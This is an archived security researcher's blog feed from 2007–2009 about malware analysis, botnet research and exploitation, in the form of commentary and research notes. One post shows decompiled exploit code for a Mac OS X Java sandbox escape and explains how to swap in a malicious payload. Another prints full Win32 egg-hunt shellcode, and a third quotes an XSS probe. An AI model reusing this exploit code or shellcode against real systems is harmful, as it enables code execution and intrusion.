tag:blogger.com,1999:blog-351933232009-06-09T15:54:44.298+02:00oxff's BlogBlog of Georg 'oxff' Wicherski about Malware Analysis, Exploitation and occassional notes about my travels.oxffhttp://www.blogger.com/profile/15859154623392878112noreply@blogger.comBlogger43125tag:blogger.com,1999:blog-35193323.post-84482586053840388342009-05-20T16:17:00.002+02:002009-05-20T16:24:59.429+02:00Unresponsible Disclosure: The MacOS X Java Bug<p>Landon Fuller decided to publish a <a href="http://landonf.bikemonkey.org/static/moab-tests/CVE-2008-5353/hello.html">proof of concept</a> for a Sun Java VM vulnerability, that is still unpatched on Mac OS X. I agree that after this timespan, it was neccessary to demonstrate how easy it is to exploit this vulnerability; however, he decided to make it trivial to build your own exploit from it.</p> <p>You can easily fetch <a href="http://landonf.bikemonkey.org/static/moab-tests/CVE-2008-5353/HelloWorldApplet.class">HelloWorldApplet.class</a> from his page and look at a decompiled version by JAD. He uses his own loader package fun.FunLoader, so grab <a href="http://landonf.bikemonkey.org/static/moab-tests/CVE-2008-5353/fun/FunLoader.class">fun/FunLoader.class</a> as well. HelloWorldApplet also uses <a href="http://landonf.bikemonkey.org/static/moab-tests/CVE-2008-5353/javax/Exec.class">javax/Exec.class</a> and <a href="http://landonf.bikemonkey.org/static/moab-tests/CVE-2008-5353/javax/Exec$1.class">Exec$1.class</a>, and if we decompile that, it is trivial to spot, how to craft your own exploit:</p> <pre>package javax; import java.security.AccessController; import java.security.PrivilegedExceptionAction; public class Exec { public Exec() { try { final String cmd[] = { "/usr/bin/say", "I am executing an innocuous user process" }; AccessController.doPrivileged(new PrivilegedExceptionAction() { public Object run() throws Exception { Runtime.getRuntime().exec(cmd); return null; } final String val$cmd[]; final Exec this$0; { this$0 = Exec.this; cmd = as; super(); } }); } catch(Exception exception) { throw new RuntimeException("Exec failed", exception); } } }</pre> <p>You can even recycle all .class files and his <a href="http://landonf.bikemonkey.org/static/moab-tests/CVE-2008-5353/t.tmp">t.tmp</a> serialized input stream, just replace Exec.class in your local copy with your malicious payload.</p> <p>Now this is unresponsible disclosure if it is so dead-easy to build your own exploit from it, it's almost easier than writing a custom shellcode for an existing exploit.<div class="blogger-post-footer"><script src="http://www.google-analytics.com/urchin.js" type="text/javascript"> </script> <script type="text/javascript"> _uacct = "UA-688266-2"; urchinTracker(); </script><img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/35193323-8448258605384038834?l=blog.oxff.net%2Findex.html'/></div>oxffhttp://www.blogger.com/profile/15859154623392878112noreply@blogger.com13tag:blogger.com,1999:blog-35193323.post-9537310676272834902009-05-10T21:34:00.005+02:002009-05-10T21:38:07.080+02:00Death of a X200s Display<p>Attraction is...</p> <a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://blog.oxff.net/uploaded_images/x200s-death2-731037.jpg"><img style="cursor: pointer; width: 400px; height: 300px;" src="http://blog.oxff.net/uploaded_images/x200s-death2-731034.jpg" alt="" border="0" /></a> <a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://blog.oxff.net/uploaded_images/x200s-death1-714518.jpg"><img style="cursor: pointer; width: 400px; height: 300px;" src="http://blog.oxff.net/uploaded_images/x200s-death1-714515.jpg" alt="" border="0" /></a> <p>... if you still talk to her.</p> <p>(I made her crawl on the floor and whimper, though.)</p><div class="blogger-post-footer"><script src="http://www.google-analytics.com/urchin.js" type="text/javascript"> </script> <script type="text/javascript"> _uacct = "UA-688266-2"; urchinTracker(); </script><img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/35193323-953731067627283490?l=blog.oxff.net%2Findex.html'/></div>oxffhttp://www.blogger.com/profile/15859154623392878112noreply@blogger.com0tag:blogger.com,1999:blog-35193323.post-20563726964461867742009-05-08T12:27:00.002+02:002009-05-08T12:30:43.007+02:00libdasm @ Google Code<p>Since `jt' apparently does not have the time or envy to maintain libdasm anymore, Ange Albertini has taken the task and created a new Google Code Project for <a href="http://code.google.com/p/libdasm/">libdasm</a> (libdasm was public domain anyway) for maintining it; my recent FPU fix is already included and I will try to get people like <a href="http://silviocesare.wordpress.com/">Silvio Cesare</a> adding their fixes and patches as well. Thanks Ange for stepping forward!</p><div class="blogger-post-footer"><script src="http://www.google-analytics.com/urchin.js" type="text/javascript"> </script> <script type="text/javascript"> _uacct = "UA-688266-2"; urchinTracker(); </script><img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/35193323-2056372696446186774?l=blog.oxff.net%2Findex.html'/></div>oxffhttp://www.blogger.com/profile/15859154623392878112noreply@blogger.com0tag:blogger.com,1999:blog-35193323.post-31588301543606356592009-04-10T13:44:00.006+02:002009-04-15T02:12:30.685+02:00libdasm D9h FPU Instructions Fix<p>libdasm incorrectly disassembles FPU instructions with D9 prefix and second byte > <code>fnop</code>. Affected instructions amongst others include <code>fsin</code>, <code>fcos</code> and <code>frndint</code>. The reason is simple, there is four NULL lines missing in the correspondending opcode table, resulting in an off-by-four for the following opcodes. I've sent a very simple patch to the libdasm author, until it is included in a release, it's here as well:</p> <pre>$ cat libdasm-1.5-fpufix-d9prefix.patch --- libdasm-1.5/opcode_tables.h 2006-02-21 15:29:41.000000000 +0100 +++ libdasm-1.5-fpufix/opcode_tables.h 2009-04-10 13:32:20.000000000 +0200 @@ -1818,6 +1818,10 @@ { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0, 0, 0, 0, 0 }, { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0, 0, 0, 0, 0 }, { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0, 0, 0, 0, 0 }, + { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0, 0, 0, 0, 0 }, + { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0, 0, 0, 0, 0 }, + { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0, 0, 0, 0, 0 }, + { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0, 0, 0, 0, 0 }, { INSTRUCTION_TYPE_FPU, "fchs", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0, 0, 0, 0, 0 }, { INSTRUCTION_TYPE_FPU, "fabs", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0, 0, 0, 0, 0 }, { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0, 0, 0, 0, 0 }, </pre> <p>I've stumbled across this while trying to use my (pefile and pydasm based) code normalizer on a malware packer using float's for looping.</p><div class="blogger-post-footer"><script src="http://www.google-analytics.com/urchin.js" type="text/javascript"> </script> <script type="text/javascript"> _uacct = "UA-688266-2"; urchinTracker(); </script><img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/35193323-3158830154360635659?l=blog.oxff.net%2Findex.html'/></div>oxffhttp://www.blogger.com/profile/15859154623392878112noreply@blogger.com3tag:blogger.com,1999:blog-35193323.post-80858296787417487682009-04-03T23:52:00.004+02:002009-04-04T00:02:03.756+02:00PE Sandboxing<p>Because I'm frustrated about the poor scalability of most <i>sandboxes</i> out there, which quite frankly don't deserve their name anyway, because they're just VMs with some Ring 0 rootkit, I've started some work on dynamic code analysis by a per-process level PE sandbox. So far, I've got the execution of arbitrary code with virtual memory; I had PE loading, but deleted it and could not recover from ext3 (vlashef being my witness).</p> <p>There are two testcases of interest, the first regarding performance:</p> <pre>$ cat testcases/simple-loop.asm [bits 32] start: mov ecx, 0x100000 xor eax, eax .1: inc eax dec ecx jnz .1 end: int3</pre> <p>Due to some fancy analysis (admittedly, so far it only supports backward jumps), we can put more than one basic block directly on the CPU:</p> <pre>$ time ./libcpu-test 100 < testcases/simple-loop.bin bool libcpu::VirtualMemory::allocatePages(uint32_t, uint32_t, int): 1000 -> 0x37cd2000, 1000 bool libcpu::VirtualMemory::allocatePages(uint32_t, uint32_t, int): 400000 -> 0x380d1000, 1000 bool libcpu::VirtualMemory::allocatePages(uint32_t, uint32_t, int): 3fc000 -> 0x380cd000, 4000 edi: 00000000 esi: 00000000 ebp: 00000000 esp: 00400000 ebx: 00000000 edx: 00000000 ecx: 00000000 eax: 00000000 eflags: 00000000 eip: 00400000 > mov ecx,0x100000 > xor eax,eax > inc eax > dec ecx > jnz 0x400007 bool libcpu::VirtualMemory::allocatePages(uint32_t, uint32_t, int): 400000 -> 0x380d1000, 1000 void libcpu::CpuEmulator::analyzeBlock(): 0x380d1000 b edi: 00000000 esi: 00000000 ebp: 00000000 esp: 00400000 ebx: 00000000 edx: 00000000 ecx: 00000000 eax: 00100000 eflags: 00000246 eip: 0040000b --- edi: 00000000 esi: 00000000 ebp: 00000000 esp: 00400000 ebx: 00000000 edx: 00000000 ecx: 00000000 eax: 00100000 eflags: 00000246 eip: 0040000b Unrecognized instruction for emulation: int3 cc 1 real 0m0.005s user 0m0.004s sys 0m0.000s</pre> <p>The second example is more interesting, because it shows the ability to handle self-modifying code. The following snippet copies itself right behind itself and then runs into the copy without any jump:</p> <pre>$ cat testcases/copysled.asm [bits 32] start: mov ebx, 0x10 sled: call $+5 pop esi sub esi, 5 mov edi, esi mov ecx, end-sled add edi, ecx rep movsb dec ebx jnz end int3 end: hlt</pre> <p>For obvious reasons, I've cut out some of the output in the middle:</p> <pre>bool libcpu::VirtualMemory::allocatePages(uint32_t, uint32_t, int): 1000 -> 0x37c6f000, 1000 bool libcpu::VirtualMemory::allocatePages(uint32_t, uint32_t, int): 400000 -> 0x3806e000, 1000 bool libcpu::VirtualMemory::allocatePages(uint32_t, uint32_t, int): 3fc000 -> 0x3806a000, 4000 edi: 00000000 esi: 00000000 ebp: 00000000 esp: 00400000 ebx: 00000000 edx: 00000000 ecx: 00000000 eax: 00000000 eflags: 00000000 eip: 00400000 > mov ebx,0x10 bool libcpu::VirtualMemory::allocatePages(uint32_t, uint32_t, int): 400000 -> 0x3806e000, 1000 void libcpu::CpuEmulator::analyzeBlock(): 0x3806e000 5 edi: 00000000 esi: 00000000 ebp: 00000000 esp: 00400000 ebx: 00000010 edx: 00000000 ecx: 00000000 eax: 00000000 eflags: 00000206 eip: 00400005 --- edi: 00000000 esi: 00000000 ebp: 00000000 esp: 00400000 ebx: 00000010 edx: 00000000 ecx: 00000000 eax: 00000000 eflags: 00000206 eip: 00400005 Emulating CALL instruction from 40000a. void libcpu::CpuEmulator::analyzeBlock(): 0x3806e005 0 edi: 00000000 esi: 00000000 ebp: 00000000 esp: 003ffffc ebx: 00000010 edx: 00000000 ecx: 00000000 eax: 00000000 eflags: 00000206 eip: 0040000a --- edi: 00000000 esi: 00000000 ebp: 00000000 esp: 003ffffc ebx: 00000010 edx: 00000000 ecx: 00000000 eax: 00000000 eflags: 00000206 eip: 0040000a > pop esi > sub esi,0x5 > mov edi,esi > mov ecx,0x1b > add edi,ecx > rep movsb > dec ebx void libcpu::CpuEmulator::analyzeBlock(): 0x3806e00a 13 edi: 00400020 esi: 00400005 ebp: 00000000 esp: 00400000 ebx: 00000010 edx: 00000000 ecx: 0000001b eax: 00000000 eflags: 00010212 eip: 0040001a --- edi: 00400020 esi: 00400005 ebp: 00000000 esp: 00400000 ebx: 00000010 edx: 00000000 ecx: 0000001b eax: 00000000 eflags: 00010212 eip: 0040001a > rep movsb bool libcpu::VirtualMemory::allocatePages(uint32_t, uint32_t, int): 400000 -> 0x3806e000, 1000 void libcpu::CpuEmulator::analyzeBlock(): 0x3806e01a 2 edi: 0040003b esi: 00400020 ebp: 00000000 esp: 00400000 ebx: 00000010 edx: 00000000 ecx: 00000000 eax: 00000000 eflags: 00000206 eip: 0040001c --- edi: 0040003b esi: 00400020 ebp: 00000000 esp: 00400000 ebx: 00000010 edx: 00000000 ecx: 00000000 eax: 00000000 eflags: 00000206 eip: 0040001c > dec ebx bool libcpu::VirtualMemory::allocatePages(uint32_t, uint32_t, int): 400000 -> 0x3806e000, 1000 void libcpu::CpuEmulator::analyzeBlock(): 0x3806e01c 1 edi: 0040003b esi: 00400020 ebp: 00000000 esp: 00400000 ebx: 0000000f edx: 00000000 ecx: 00000000 eax: 00000000 eflags: 00000216 eip: 0040001d --- [[[ CUT ]]] --- edi: 004001d0 esi: 004001b5 ebp: 00000000 esp: 00400000 ebx: 00000000 edx: 00000000 ecx: 00000000 eax: 00000000 eflags: 00000246 eip: 004001b2 Emulating Jcc 1: 0 void libcpu::CpuEmulator::analyzeBlock(): 0x3806e1b2 0 edi: 004001d0 esi: 004001b5 ebp: 00000000 esp: 00400000 ebx: 00000000 edx: 00000000 ecx: 00000000 eax: 00000000 eflags: 00000246 eip: 004001b4 --- edi: 004001d0 esi: 004001b5 ebp: 00000000 esp: 00400000 ebx: 00000000 edx: 00000000 ecx: 00000000 eax: 00000000 eflags: 00000246 eip: 004001b4 Unrecognized instruction for emulation: int3 cc 1 real 0m0.006s user 0m0.004s sys 0m0.000s </pre><div class="blogger-post-footer"><script src="http://www.google-analytics.com/urchin.js" type="text/javascript"> </script> <script type="text/javascript"> _uacct = "UA-688266-2"; urchinTracker(); </script><img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/35193323-8085829678741748768?l=blog.oxff.net%2Findex.html'/></div>oxffhttp://www.blogger.com/profile/15859154623392878112noreply@blogger.com0tag:blogger.com,1999:blog-35193323.post-59422904880195447872009-03-04T18:40:00.009+01:002009-03-04T18:50:10.477+01:00inspircd<p>I have just today come across <a href="http://www.inspircd.org/">inspircd</a>, a great IRC server. It is very modular and has an astonishing default feature set with amazingly good configuration documentation, compared to other ircd's out there. Probably also very nice for hosting your botnet, thanks to its modularity.</p> <p><img src="http://img214.imageshack.us/img214/2774/inspircd.png" alt="irssi to inspircd" /></p><div class="blogger-post-footer"><script src="http://www.google-analytics.com/urchin.js" type="text/javascript"> </script> <script type="text/javascript"> _uacct = "UA-688266-2"; urchinTracker(); </script><img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/35193323-5942290488019544787?l=blog.oxff.net%2Findex.html'/></div>oxffhttp://www.blogger.com/profile/15859154623392878112noreply@blogger.com1tag:blogger.com,1999:blog-35193323.post-4344452132715159872009-02-18T13:46:00.006+01:002009-02-18T14:40:24.039+01:00Win32 Egg Search Shellcode, 33 bytes<p>For a current collaboration on taking down yet another botnet, I had to write a <i>very</i> small shellcode. Thanks to some ideas from <i>Understanding Windows Shellcode</i> by <a href="http://hick.org/~mmiller/">skape</a>, I managed to write a egg search shellcode in 33 bytes.</p> <p>The general idea of the AddAtomA int 2e memory testing was public, but the best implementation I could find was 40 bytes long (skape's one) and had the limitation of an executable marker. This one is 33 bytes long and you can choose any four byte marker you want. If we wouldn't start at 0, we could save two more bytes going down to 31, but this makes search a lot slower. There is a 32 byte version by skape that requires page aligned 2nd stage, which is not really comparable because it again requires an executable marker and a 2nd stage injection of at least 4kb with a long <i>marker sled</i>. Sill I first got the int 2e idea from his paper, so credits to him for that.</p> <p>The only real limitation of this shellcode is that your second stage may not be within the first four bytes of a page boundary. Theoretical probability is < 0.1%, having heap allocator designs in mind, it is even less probable.<br /> If this is a severe stability limitation for you, there is two solutions: <ol><li>Use an executable marker and put it in front of the shellcode twice. Usually, it will trigger in the first four bytes and jump into the second marker. If it really is page aligned, it will jump right after the second marker.</li> <li>Use any (non-executable) marker and put a second marker with a relative jump to your shellcode after the shellcode.</li> </ol></p> <p>This shellcode is 100% position independent w/o any GetPC sequence, so it won't be detected by libemu and similiar things (although this wasn't a design goal but just a side effect). The second stage shellcode can also be implemented without any GetPC sequence, as it gets its own address passed in edx.</p> <p>There is a weird <code>inc ebx</code> instruction at the end of the shellcode, but for a good reason: If this eggsearch shellcode lies in memory before the actual shellcode, our search will stop at the imm32 of the cmp r/m32, imm32 instruction and the jmp edx will go to the next instruction, jne (= jnz) address_loop. The inc ebx ensures that ZF is not set (unless we're very unlucky and our exploitation environment had the otherwise unused ebx register set to 0xffffffff) and thus our search continues at the next address.</p> <pre> ; win32 eggsearch shellcode, 33 bytes ; tested on windows xp sp2, should work on all service packs on win2k, win xp, win2k3 ; (c) 2009 by Georg 'oxff' Wicherski <gw@mwcollect.org> [bits 32] marker equ 0x1f217767 ; 'gw!\x1f' start: xor edx, edx ; edx = 0, pointer to examined address address_loop: inc edx ; edx++, try next address pagestart_check: test dx, 0x0ffc ; are we within the first 4 bytes of a page? jz address_loop ; if so, try next address as previous page might be unreadable ; and the cmp [edx-4], marker might result in a segmentation fault access_check: push edx ; save across syscall push byte 8 ; eax = 8, syscall nr of AddAtomA pop eax ; ^ int 0x2e ; fire syscall (eax = 8, edx = ptr) cmp al, 0x05 ; is result 0xc0000005? (a bit sloppy) pop edx ; je address_loop ; jmp if result was 0xc0000005 egg_check: cmp dword [edx-4], marker ; is our egg right before examined address? jne address_loop ; if not, try next address egg_execute: inc ebx ; make sure, zf is not set jmp edx ; we found our egg at [edx-4], so we can jmp to edx </pre><div class="blogger-post-footer"><script src="http://www.google-analytics.com/urchin.js" type="text/javascript"> </script> <script type="text/javascript"> _uacct = "UA-688266-2"; urchinTracker(); </script><img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/35193323-434445213271515987?l=blog.oxff.net%2Findex.html'/></div>oxffhttp://www.blogger.com/profile/15859154623392878112noreply@blogger.com0tag:blogger.com,1999:blog-35193323.post-25130417575180812432008-10-30T12:05:00.002+01:002008-10-30T12:07:03.197+01:00GovCERT.nl 2008 SlidesMy <a href="http://starkwind.oxff.net/dump/govcert-nl-08.pdf">GovCERT.nl 2008 slides</a> are online now.<div class="blogger-post-footer"><script src="http://www.google-analytics.com/urchin.js" type="text/javascript"> </script> <script type="text/javascript"> _uacct = "UA-688266-2"; urchinTracker(); </script><img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/35193323-2513041757518081243?l=blog.oxff.net%2Findex.html'/></div>oxffhttp://www.blogger.com/profile/15859154623392878112noreply@blogger.com0tag:blogger.com,1999:blog-35193323.post-38011009433950441372008-10-11T20:09:00.000+02:002008-10-11T20:10:12.131+02:00mwcollect Alliance Webinterface Development<object width="425" height="349"><param name="movie" value="http://www.youtube.com/v/HE7UuLUybGc&hl=en&fs=1&rel=0&color1=0x3a3a3a&color2=0x999999&border=1"></param><param name="allowFullScreen" value="true"></param><embed src="http://www.youtube.com/v/HE7UuLUybGc&hl=en&fs=1&rel=0&color1=0x3a3a3a&color2=0x999999&border=1" type="application/x-shockwave-flash" allowfullscreen="true" width="425" height="349"></embed></object><div class="blogger-post-footer"><script src="http://www.google-analytics.com/urchin.js" type="text/javascript"> </script> <script type="text/javascript"> _uacct = "UA-688266-2"; urchinTracker(); </script><img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/35193323-3801100943395044137?l=blog.oxff.net%2Findex.html'/></div>oxffhttp://www.blogger.com/profile/15859154623392878112noreply@blogger.com0tag:blogger.com,1999:blog-35193323.post-82615070432817064252008-05-01T23:11:00.002+02:002008-05-01T23:16:48.658+02:00Reflect Yourself<p><a href="http://www.nature-one.de/events/mayday/">Mayday 2008</a> was a total blast, DJ Korsakoff made <a href="http://youtube.com/watch?v=RPdA0V-9mlc">a hell of a performance</a>. Eventhough I didn't sleep the last 30 hours or so, I'm still rather awake due to the coffinated water they sold. I'll update this blog post with some own trashy mobile phone video later.</p> <p><blockquote>We are still here!</blockquote></p><div class="blogger-post-footer"><script src="http://www.google-analytics.com/urchin.js" type="text/javascript"> </script> <script type="text/javascript"> _uacct = "UA-688266-2"; urchinTracker(); </script><img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/35193323-8261507043281706425?l=blog.oxff.net%2Findex.html'/></div>oxffhttp://www.blogger.com/profile/15859154623392878112noreply@blogger.com0tag:blogger.com,1999:blog-35193323.post-85670841945956195412008-03-13T15:33:00.000+01:002008-03-13T15:34:32.100+01:00Botnet Monitoring Frontend<p><a href="http://img72.imageshack.us/my.php?image=botsnoopdbf0.png"><img src="http://img72.imageshack.us/img72/9556/botsnoopdbf0.th.png" alt="BotMon" /></a></p><div class="blogger-post-footer"><script src="http://www.google-analytics.com/urchin.js" type="text/javascript"> </script> <script type="text/javascript"> _uacct = "UA-688266-2"; urchinTracker(); </script><img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/35193323-8567084194595619541?l=blog.oxff.net%2Findex.html'/></div>oxffhttp://www.blogger.com/profile/15859154623392878112noreply@blogger.com2tag:blogger.com,1999:blog-35193323.post-89313534602305690182007-12-15T12:20:00.001+01:002007-12-15T12:21:07.255+01:00Spam, pleasePlease <a href="mailto:incoming@oxff.net">send me</a> your spam or malware!<div class="blogger-post-footer"><script src="http://www.google-analytics.com/urchin.js" type="text/javascript"> </script> <script type="text/javascript"> _uacct = "UA-688266-2"; urchinTracker(); </script><img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/35193323-8931353460230569018?l=blog.oxff.net%2Findex.html'/></div>oxffhttp://www.blogger.com/profile/15859154623392878112noreply@blogger.com0tag:blogger.com,1999:blog-35193323.post-86741885868220453832007-09-27T19:00:00.000+02:002007-09-27T19:12:18.953+02:00REP(N)Z and the EFLAGS<p>Working on some debugger like automation code for <a href="http://www.emsisoft.com/">EmsiSoft</a>, I recently discovered a funny property when single stepping <code>REPNZ</code> prefixed <code>SCAS</code> and <code>CMPS</code> instructions using the <code>TF</code> bit set in <i>EFLAGS</i>. As expected, for each single byte / word / doubleword, a debug event occurs. However, the <i>EFLAGS</i> register's status bits (e.g. <code>ZF</code>) are not correct for each single iteration but the last.</p> <p>I tested this in Windows XP in a VmWare, didn't have the time to reproduce on a physical machine yet. Let me know if you run over this quirk, too.</p><div class="blogger-post-footer"><script src="http://www.google-analytics.com/urchin.js" type="text/javascript"> </script> <script type="text/javascript"> _uacct = "UA-688266-2"; urchinTracker(); </script><img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/35193323-8674188586822045383?l=blog.oxff.net%2Findex.html'/></div>oxffhttp://www.blogger.com/profile/15859154623392878112noreply@blogger.com1tag:blogger.com,1999:blog-35193323.post-47177227225977300982007-09-11T13:19:00.000+02:002007-09-11T13:20:12.743+02:00My ISP Blocks YouPorn<p>Arcor, my home ISP, yesterday <a href="http://www.heise.de/english/newsticker/news/95804">started blocking YouPorn</a>. Welcome to China!</p><div class="blogger-post-footer"><script src="http://www.google-analytics.com/urchin.js" type="text/javascript"> </script> <script type="text/javascript"> _uacct = "UA-688266-2"; urchinTracker(); </script><img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/35193323-4717722722597730098?l=blog.oxff.net%2Findex.html'/></div>oxffhttp://www.blogger.com/profile/15859154623392878112noreply@blogger.com0tag:blogger.com,1999:blog-35193323.post-48622225564172915542007-08-30T14:34:00.001+02:002007-08-30T14:42:28.121+02:00Alliance Public Submissions<p>You can now <a href="https://alliance.mwcollect.org/public/upload">upload your samples to the Alliance</a> manually, without being a member of the <a href="https://alliance.mwcollect.org/">mwcollect Alliance</a>. Submissions are correlated with automatically collected samples:</p> <a href="http://img356.imageshack.us/my.php?image=alliancemn1.png"><img src="http://img356.imageshack.us/img356/3756/alliancemn1.th.png" border="0" alt="interface" /></a><div class="blogger-post-footer"><script src="http://www.google-analytics.com/urchin.js" type="text/javascript"> </script> <script type="text/javascript"> _uacct = "UA-688266-2"; urchinTracker(); </script><img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/35193323-4862222556417291554?l=blog.oxff.net%2Findex.html'/></div>oxffhttp://www.blogger.com/profile/15859154623392878112noreply@blogger.com0tag:blogger.com,1999:blog-35193323.post-12338172199627889082007-08-28T11:20:00.000+02:002007-08-28T11:28:06.652+02:00Anubis Sandbox Becoming Useless<p>Doing mostly botnet research with the samples we obtain through the <a href="https://alliance.mwcollect.org/">mwcollect Alliance</a>, the most interesting thing in the <a href="http://analysis.seclab.tuwien.ac.at/index.php">Anubis sandbox</a> reports for me were the network traces. Following the lame ``run the binary in a VM, hooking all interesting APIs'' the Anubis sandbox has to really connect to the C&C server in order to get to know channel names, keys, etc.</p> <p>The big problem here is, that the public online submission interface analysis machine all run on static IPs, not utilizing proxies and even worse -- having a valid reverse DNS entry pointing to Anubis. In the end, this made most ``advanced'' herders block the Anubis sandbox, as can be seen from <a href="http://analysis.seclab.tuwien.ac.at/result.php?taskid=7a755efc8e75dc2419b1b2591ebaf4ea#id1658243">this exemplary report</a> (search for ``ERROR :Closing'').</p> <p>Time to finally finish my own sandboxing stuff... not relying on the remote connection but on statical behavioural analysis with <i>some</i> emulation (packers, self-modifying code, ...).</p><div class="blogger-post-footer"><script src="http://www.google-analytics.com/urchin.js" type="text/javascript"> </script> <script type="text/javascript"> _uacct = "UA-688266-2"; urchinTracker(); </script><img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/35193323-1233817219962788908?l=blog.oxff.net%2Findex.html'/></div>oxffhttp://www.blogger.com/profile/15859154623392878112noreply@blogger.com0tag:blogger.com,1999:blog-35193323.post-22315891079932626412007-07-13T12:50:00.000+02:002007-07-13T13:04:43.429+02:00Speaking at DeepSec and Winning CIPHER-CTF<p>The mwcollect.org Team `teamSparta', in which I participated as well, made the first place in the <a href="http://www.cipher-ctf.org:/">CIPHER CTF Contest</a>. Yay!</p> <p>I'll be speaking on <a href="http://deepsec.net/speakers/#georg-wicherski">DeepSec 2007</a> in Nov in Vienna, Austria.</p><div class="blogger-post-footer"><script src="http://www.google-analytics.com/urchin.js" type="text/javascript"> </script> <script type="text/javascript"> _uacct = "UA-688266-2"; urchinTracker(); </script><img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/35193323-2231589107993262641?l=blog.oxff.net%2Findex.html'/></div>oxffhttp://www.blogger.com/profile/15859154623392878112noreply@blogger.com0tag:blogger.com,1999:blog-35193323.post-22308810125945357252007-06-08T18:14:00.000+02:002007-06-08T18:17:13.588+02:00Wikipedia and Public Media explaining Botnets<p>(All German): <ul> <li><a href="http://www.searchnetworking.de/themenkanaele/netzwerksicherheit/bedrohungenundattacken/articles/46992/">http://www.searchnetworking.de/...</a></li> <li><a href="http://www.computerwoche.de/index.cfm?pid=332&pk=557828">http://www.computerwoche.de/...</a></li> <li><a href="http://de.wikipedia.org/wiki/Botnet">http://de.wikipedia.org/wiki/Botnet</a></li> </ul> There is still so much wrong information about botnets out there. These people suck as reporters (as most reporters do). </p><div class="blogger-post-footer"><script src="http://www.google-analytics.com/urchin.js" type="text/javascript"> </script> <script type="text/javascript"> _uacct = "UA-688266-2"; urchinTracker(); </script><img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/35193323-2230881012594535725?l=blog.oxff.net%2Findex.html'/></div>oxffhttp://www.blogger.com/profile/15859154623392878112noreply@blogger.com0tag:blogger.com,1999:blog-35193323.post-51391790853341714982007-05-25T17:24:00.000+02:002007-05-25T17:26:12.830+02:00Malware Paragraph in German Laws<p>They finally criminalized any serious IT security penetration tester and the people developing the tools for them in my home country, Germany! Hail Zypries and all the other Internet nazis! \o</p><div class="blogger-post-footer"><script src="http://www.google-analytics.com/urchin.js" type="text/javascript"> </script> <script type="text/javascript"> _uacct = "UA-688266-2"; urchinTracker(); </script><img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/35193323-5139179085334171498?l=blog.oxff.net%2Findex.html'/></div>oxffhttp://www.blogger.com/profile/15859154623392878112noreply@blogger.com0tag:blogger.com,1999:blog-35193323.post-46506130657733823162007-05-21T19:56:00.000+02:002007-05-21T20:01:08.380+02:00mwcollect Alliance Webinterface<p>We're still working on the mwcollect Alliance Webinterface, but already got some really nice stuff. The people from the <a href="http://analysis.seclab.tuwien.ac.at/features.php">Anubis Sandbox</a> were so kind to provide us with a closed submission interface, so we can automatically upload new samples and link to them.</p> <p><a href="http://img451.imageshack.us/my.php?image=alliancehl6.png"><img src="http://img451.imageshack.us/img451/9859/alliancehl6.th.png" style="margin: auto;" alt="mwcollect Alliance" /></a></p><div class="blogger-post-footer"><script src="http://www.google-analytics.com/urchin.js" type="text/javascript"> </script> <script type="text/javascript"> _uacct = "UA-688266-2"; urchinTracker(); </script><img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/35193323-4650613065773382316?l=blog.oxff.net%2Findex.html'/></div>oxffhttp://www.blogger.com/profile/15859154623392878112noreply@blogger.com0tag:blogger.com,1999:blog-35193323.post-26060902480467958572007-04-12T19:00:00.000+02:002007-04-12T19:06:10.684+02:00oxff Inc. -- Bragging Redefined<p>I count at least five of nine papers from <a href="http://www.usenix.org/events/hotbots07/tech/">HotBots</a> referencing at least one paper, I have had my hands involved in.</p><div class="blogger-post-footer"><script src="http://www.google-analytics.com/urchin.js" type="text/javascript"> </script> <script type="text/javascript"> _uacct = "UA-688266-2"; urchinTracker(); </script><img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/35193323-2606090248046795857?l=blog.oxff.net%2Findex.html'/></div>oxffhttp://www.blogger.com/profile/15859154623392878112noreply@blogger.com1tag:blogger.com,1999:blog-35193323.post-91095009151964396722007-04-07T11:27:00.000+02:002007-04-07T11:44:47.261+02:00Jikto Hype<p>After not posting for quite some time, I've got something to say again.</p> <p>Recently, the Jikto `Javascript Drone' was hyped a lot in different media; the usual ``OMG t3h Internet is l0st'' we see at least once each year. I just had a look at Jikto's code, which was leaked the day after Jikto was presented on ShmooCon. It's totally ridiculous, it's using XMLHttpRequests to spider web-pages and tries finding `.old' and `.bak' files on these servers bug bruteforcing every found file. Additionally, it features a very false positive prone XSS scanner.</p> <p>This XSS scanner injects &lt;script&gt;alert('xss');&lt;/script&gt; into every GET parameter and just parses for `script' in the response. If the brackets are properly escaped, we still get our false positive. How <i>enterprise</i>.</p> <p>Another wrong 